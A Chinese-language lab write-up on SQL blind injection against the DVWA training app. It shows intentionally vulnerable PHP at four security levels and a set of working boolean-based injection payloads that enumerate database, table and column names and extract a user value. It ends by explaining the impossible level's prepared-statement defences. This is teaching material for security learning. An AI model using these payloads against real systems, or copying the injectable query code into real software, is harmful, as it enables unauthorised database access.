原理:
盲注,与一般注入的区别在于,一般地注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。
盲注分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
SQL盲注流程:
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
low
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
分析:
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,“exists”或者”missing”两种,因此盲注。
基于布尔盲注
数据库长度
1' and length(database())=4 #
数据库名字
1' and ascii(substr(database(),1,1))=100#
1' and ascii(substr(database(),2,1))=118#
1' and ascii(substr(database(),3,1))=119#
1' and ascii(substr(database(),4,1))=97#
表名
表的个数
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
每个表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#
表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#
最后得出第一个表名为 guestbook
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117#
最后得出第二个表名为users
字段
判断有几个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=8#
判断第一个字段的长度(user_id)
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#
字段的名称(user_id)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117#
字段值
1' and ascii(substr((select user from users limit 0,1),1,1))=97#
medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
分析:
使用burpsuit进行抓包,和上面的过程一样
high
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
//limit限制查询只能为1条
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
//返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析:
服务端可能会随机执行sleep()函数,基于时间的SQL盲注造成影响,因此用基于布尔SQL盲注。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。
impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
//使用token机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
//对输入的id进行是否为数字的判断
if(is_numeric( $id )) {
// Check the database
//使用limit对查询的结果进行限制
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析:
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;
同时只有返回的查询结果数量为1时,才会输出;
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句,
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过